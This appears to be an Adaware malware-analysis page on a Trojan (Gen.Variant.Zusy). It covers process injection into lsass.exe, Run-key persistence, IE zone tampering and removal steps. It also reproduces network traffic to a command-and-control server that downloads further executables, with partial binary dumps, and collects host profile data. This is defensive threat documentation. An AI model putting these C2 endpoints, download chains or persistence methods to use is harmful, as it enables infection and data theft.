Gen.Variant.Zusy.118945_d358217856 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):

%original file name%.exe:468
lsass.exe:1232

Mutexes

The following mutexes were created/opened:

ShimCacheMutexZonesLockedCacheCounterMutexZonesCacheCounterMutexZonesCounterMutexkrikoc

File activity

The process %original file name%.exe:468 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\bitck1\Text.txt (34 bytes)
%Documents and Settings%\%current user%\Application Data\System\Oracle\azioklmpx\lsass.exe (1643 bytes)
%Documents and Settings%\%current user%\Application Data\System\Oracle\azioklmpx\smss.exe (2559 bytes)
%Documents and Settings%\%current user%\Application Data\System\Oracle\smss.exe (23 bytes)

Registry activity

The process %original file name%.exe:468 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E1 A4 98 A8 3C 14 FF 2B 02 C7 31 24 6B AA B8 FB"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Application Data\System\Oracle\azioklmpx]
"smss.exe" = "smss"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Application Data\System\Oracle\azioklmpx]
"lsass.exe" = "lsass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Windows" = "%Documents and Settings%\%current user%\Application Data\System\Oracle\smss.exe"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Windows" = "%WinDir%\explorer\smss.exe"

Dropped PE files

MD5	File path
98ae3cce49223d0ee4e495fa06b3b350	c:\Documents and Settings\"%CurrentUserName%"\Application Data\System\Oracle\azioklmpx\lsass.exe
3e5385448f133c1794680606e0efa319	c:\Documents and Settings\"%CurrentUserName%"\Application Data\System\Oracle\azioklmpx\smss.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\bitck1\Text.txt (34 bytes)
%Documents and Settings%\%current user%\Application Data\System\Oracle\azioklmpx\lsass.exe (1643 bytes)
%Documents and Settings%\%current user%\Application Data\System\Oracle\azioklmpx\smss.exe (2559 bytes)
%Documents and Settings%\%current user%\Application Data\System\Oracle\smss.exe (23 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Windows" = "%Documents and Settings%\%current user%\Application Data\System\Oracle\smss.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Windows" = "%WinDir%\explorer\smss.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
UPX0	4096	53248	0	0	d41d8cd98f00b204e9800998ecf8427e
UPX1	57344	24576	22016	5.46593	011a94c023afb84216060f7c4ab8b476
UPX2	81920	4096	1024	1.93267	01b93834e141605c003c23902528136f

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://87.121.52.65/panel/includes/verif.php
hxxp://87.121.52.65/panel/includes/persis.php
hxxp://87.121.52.65/panel/includes/kit47896.exe
hxxp://87.121.52.65/panel/includes/btcplugin.php
hxxp://87.121.52.65/panel/includes/btcplugin.exe
hxxp://87.121.52.65/panel/includes/d_elay.php
hxxp://87.121.52.65/panel/includes/day.php
hxxp://87.121.52.65/panel/includes/ip.php
hxxp://87.121.52.65/panel/includes/country.php?IP=37.57.16.189
hxxp://87.121.52.65/panel/includes/idcontact.php?COMPUTER=XP8&steam=0&origin=0&webnavig=0&java=1&memoireRAMbytes=536330240&diskhard=8578932736&avname=0&parefire=0&install=20150109&gpu=0&cpu=Intel(R)Core(TM)i7-4770CPU@3.40GHz
hxxp://87.121.52.65/panel/includes/bkill.php

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET hXXp://87.121.52.65/panel/includes/btcplugin.php HTTP/1.

HTTP/1.1 200 OK

Date: Fri, 09 Jan 2015 11:31:31 GMT

Server: Apache/2.2.22 (Debian)

X-Powered-By: PHP/5.4.35-0 deb7u2

Set-Cookie: PHPSESSID=lqi4e95lrqstopcclai470ofu0; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 34

Connection: close

Content-Type: text/html

1A1NepMBi53mVcwxAZrRe27o74TG1NyVzH..

GET /panel/includes/idcontact.php?COMPUTER=XP8&steam=0&origin=0&webnavig=0&java=1&memoireRAMbytes=536330240&diskhard=8578932736&avname=0&parefire=0&install=20150109&gpu=0&cpu=Intel(R)Core(TM)i7-4770CPU@3.40GHz HTTP/1.0

Host: 87.121.52.65

User-Agent: crackim

Connection: Close

HTTP/1.1 200 OK

Date: Fri, 09 Jan 2015 11:31:33 GMT

Server: Apache/2.2.22 (Debian)

X-Powered-By: PHP/5.4.35-0 deb7u2

Set-Cookie: PHPSESSID=geop1e975ufokv1uu1ljfnue52; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 14

Connection: close

Content-Type: text/html

Statistics Ok!..

GET hXXp://87.121.52.65/panel/includes/d_elay.php HTTP/1.

HTTP/1.1 200 OK

Date: Fri, 09 Jan 2015 11:31:32 GMT

Server: Apache/2.2.22 (Debian)

X-Powered-By: PHP/5.4.35-0 deb7u2

Set-Cookie: PHPSESSID=81hog5asr691h2fa36861u0mu4; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 5

Connection: close

Content-Type: text/html

60000..

GET /panel/includes/kit47896.exe HTTP/1.0

Host: 87.121.52.65

User-Agent: crackim

Connection: Close

HTTP/1.1 200 OK

Date: Fri, 09 Jan 2015 11:31:30 GMT

Server: Apache/2.2.22 (Debian)

Last-Modified: Sat, 27 Dec 2014 18:26:55 GMT

ETag: "2600ddc-2200-50b36c9369c2c"

Accept-Ranges: bytes

Content-Length: 8704

Connection: close

Content-Type: application/x-msdos-program

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...y..T...............2. .......`.......p........@.................................................................................................................................................................................................UPX0.....`..............................UPX1..... ...p......................@....rsrc...............................@...3.91.UPX!.....8.W.....d.......6..&.......h..h...W@............._..... .*;v...../.#.....?l.....".n..$X.5...!..$-,.S1.P......T$......h.6.(.P...?.D$..|........X..n.FRR.t$k.'.....SR,..:.m*.4.....|P{.v.' .'<5..6`..$.....Z..-..-..Q..$......./...!.t......h.....`sV'..........n..4.......y.W[..S.......$*JI...u..9,.[.(..~..\{.,.C.\.)...].g...P-.L$....e......@....@6.< ........R.t..s.v......Wp...;...4l.........!..6...::$.. |.1wi ]".q.7...7{lz............X..t....#....f.^O."..{...." J.D$OrH ..P@3X....=..mp....:.!..^!...s....l.....:..._6.v..h O...\.%.V0t2. ..8..KSn..k...0.J!..'n..F||)2...KA......tV\!c...Y...u8.#<.....$..G..B.8.Iu..6l..qJR .;a 9...1..9s.T.(...).lIn.>...X....@ .^....Pr...... ..... V}.lt .w....h..P.U'y..;.$u..F...:.....'y..".(..2...y..<...\..{W..2|...(4..!.<x.....w...........`Y..h...t .e..u.h.P.....Y`........]k#.Mu...<G..8...*8*..X.."...Ub.vO..#h.l..vy.@.<.l|{.......{h..........`...6@t.'.~.%....f}..$.-.....y`.....O...FA.[....<=......o....{X..._........h.S..PQ...82..".... .....B2......F.!. c.z. <..

<<< skipped >>>

GET hXXp://87.121.52.65/panel/includes/day.php HTTP/1.

HTTP/1.1 200 OK

Date: Fri, 09 Jan 2015 11:31:33 GMT

Server: Apache/2.2.22 (Debian)

X-Powered-By: PHP/5.4.35-0 deb7u2

Vary: Accept-Encoding

Content-Length: 8

Connection: close

Content-Type: text/html

20150109..

GET hXXp://87.121.52.65/panel/includes/verif.php HTTP/1.

HTTP/1.1 200 OK

Date: Fri, 09 Jan 2015 11:31:30 GMT

Server: Apache/2.2.22 (Debian)

X-Powered-By: PHP/5.4.35-0 deb7u2

Vary: Accept-Encoding

Content-Length: 1

Connection: close

Content-Type: text/html

1..

GET /panel/includes/btcplugin.exe HTTP/1.0

Host: 87.121.52.65

User-Agent: crackim

Connection: Close

HTTP/1.1 200 OK

Date: Fri, 09 Jan 2015 11:31:32 GMT

Server: Apache/2.2.22 (Debian)

Last-Modified: Sat, 27 Dec 2014 18:26:19 GMT

ETag: "2600dac-1a00-50b36c718fab6"

Accept-Ranges: bytes

Content-Length: 6656

Connection: close

Content-Type: application/x-msdos-program

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......T...............2. .......`.. ....p........@.............................................................................@...................................................................................................................UPX0.....`..............................UPX1..... ...p......................@....rsrc...............................@...3.91.UPX!......V'j....c.......,..&.......h .h...T@.................. .....*.../L!......w..[.5.-hP@#..h.............".....F*......_....&...T$.E.L..!.t....0}....!.u.(.RR.......h.q6......G.g.o.....h.'..9{........... d...,..........:...|2..:.. h2^2..............h>..J...6&..d(*B".J.:.,..m....u....<.!....d.l.....|.$G..S1.P..D$ ...o.4.......h"qt...1..l."...$O....uR...P.7..\...l....s......:......_...O.....T..t2 .. ..KS}...an.k...1H.F.r.,..)2/M...l....h..t..c.V\.Y._.u8M....B...$....>....!..0......&.T7".qJ..2`R 9\.=K."..T.y.I/I..o....<..l....u...u...^.....J.^F.-..(X..2.....na.f...4.. ;......l.y..[....._.QRQ.Y...l..4..%.Q...............V]..Y..P....I.nS.......f..u. ....3........Q.|..V..u...o..^Y.?.SU.-.RM .W.......VN...<0..P......k.W..... .u.\...V...L$.u._][C..n......N^3(<.o[s;Q.,1....8m...gGPM....F..........\^..|....I......HtR;f;.....u.%...tN....<?.../.. .u. .....t.....,.g._....^].[..n...P.......o....@...W3....tM.T..t....Ef9>t@.:t;.98u. ........}....;.~.H..DN...f.....S...(_@^[.{...j.Ok....BpB:V&.y50.err%.7...0&l

<<< skipped >>>

GET hXXp://87.121.52.65/panel/includes/persis.php HTTP/1.

HTTP/1.1 200 OK

Date: Fri, 09 Jan 2015 11:31:30 GMT

Server: Apache/2.2.22 (Debian)

X-Powered-By: PHP/5.4.35-0 deb7u2

Set-Cookie: PHPSESSID=e7ddgh5moigcspfvn87ceotcb2; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 1

Connection: close

Content-Type: text/html

1..

GET hXXp://87.121.52.65/panel/includes/ip.php HTTP/1.

HTTP/1.1 200 OK

Date: Fri, 09 Jan 2015 11:31:33 GMT

Server: Apache/2.2.22 (Debian)

X-Powered-By: PHP/5.4.35-0 deb7u2

Vary: Accept-Encoding

Content-Length: 12

Connection: close

Content-Type: text/html

37.57.16.189..

GET hXXp://87.121.52.65/panel/includes/bkill.php HTTP/1.

HTTP/1.1 200 OK

Date: Fri, 09 Jan 2015 11:31:34 GMT

Server: Apache/2.2.22 (Debian)

X-Powered-By: PHP/5.4.35-0 deb7u2

Set-Cookie: PHPSESSID=pondu5mvbqjvf3ioha070j87b4; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 1

Connection: close

Content-Type: text/html

1..

GET hXXp://87.121.52.65/panel/includes/country.php?IP=37.57.16.189 HTTP/1.

HTTP/1.1 200 OK

Date: Fri, 09 Jan 2015 11:31:33 GMT

Server: Apache/2.2.22 (Debian)

X-Powered-By: PHP/5.4.35-0 deb7u2

Vary: Accept-Encoding

Content-Length: 7

Connection: close

Content-Type: text/html

Ukraine..

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_468:

ws2_32.dll

?456789:;

!"#$%&'()* ,-./0123

CreatePipe

RegCreateKeyW

RegOpenKeyW

RegCloseKey

RegOpenKeyExW

RegDeleteKeyW

ShellExecuteW

ShellExecuteExW

EnumWindows

.code

`.text

`.rdata

@.data

4%_i%c

.tl3fl

KERNEL32.DLL

ADVAPI32.DLL

COMCTL32.DLL

MSVCRT.dll

OLE32.DLL

SHELL32.DLL

USER32.DLL

WINMM.DLL

WSOCK32.DLL

2147483648

%%.ÃŸ

post.php

persis.php

btcplugin.php

ip.php

ntdll.dll

D:\NVIDIA\

kit47896.exe

\Opera\

(x86)\Opera\

country.php?IP=

verif.php

D:\AMD\

install_info.php

Kernel32.dll

kernel32.dll

Windows

\Chrome\

smss.exe

HTTP/1.0

gettask.php?RUN=

\bitck1\Text.txt

Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0

rpcss.exe

DlExe

\System\Oracle\smss.exe

psapi.dll

d_elay.php

\explorer\smss.exe

pinginfo.php

%Program Files%\McAfee\

(x86)\Firefox\

\System\Oracle\azioklmpx\lsass.exe

\System\Oracle\azioklmpx\smss.exe

btcplugin.exe

explorer.exe

day.php

&webnavig=

idcontact.php?COMPUTER=

get.php?IP=

\Firefox\

(x86)\Chrome\

C:\AMD\

C:\NVIDIA\

bkill.php

Software\Microsoft\Windows\CurrentVersion\Run

hXXp://

{118c04c0-7454-11e2-81a8-806d6172696f}

%original file name%.exe_468_rwx_00401000_00012000:

ws2_32.dll

?456789:;

!"#$%&'()* ,-./0123

CreatePipe

RegCreateKeyW

RegOpenKeyW

RegCloseKey

RegOpenKeyExW

RegDeleteKeyW

ShellExecuteW

ShellExecuteExW

EnumWindows

.code

`.text

`.rdata

@.data

4%_i%c

2147483648

%%.ÃŸ

post.php

persis.php

btcplugin.php

ip.php

ntdll.dll

D:\NVIDIA\

kit47896.exe

\Opera\

(x86)\Opera\

country.php?IP=

verif.php

D:\AMD\

install_info.php

Kernel32.dll

kernel32.dll

Windows

\Chrome\

smss.exe

HTTP/1.0

gettask.php?RUN=

\bitck1\Text.txt

Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0

rpcss.exe

DlExe

\System\Oracle\smss.exe

psapi.dll

d_elay.php

\explorer\smss.exe

pinginfo.php

%Program Files%\McAfee\

(x86)\Firefox\

\System\Oracle\azioklmpx\lsass.exe

\System\Oracle\azioklmpx\smss.exe

btcplugin.exe

explorer.exe

day.php

&webnavig=

idcontact.php?COMPUTER=

get.php?IP=

\Firefox\

(x86)\Chrome\

C:\AMD\

C:\NVIDIA\

bkill.php

Software\Microsoft\Windows\CurrentVersion\Run

hXXp://

{118c04c0-7454-11e2-81a8-806d6172696f}

lsass.exe_1232:

`.rsrc

.code

`.text

`.rdata

@.data

.rsrc

version="1.0.0.0"

name="CompanyName.ProductName.YourApp"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

KERNEL32.DLL

MSVCRT.dll

USER32.DLL

WINMM.DLL

\bitck1\Text.txt

lsass.exe_1232_rwx_00401000_00007000:

.code

`.text

`.rdata

@.data

.rsrc

\bitck1\Text.txt

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps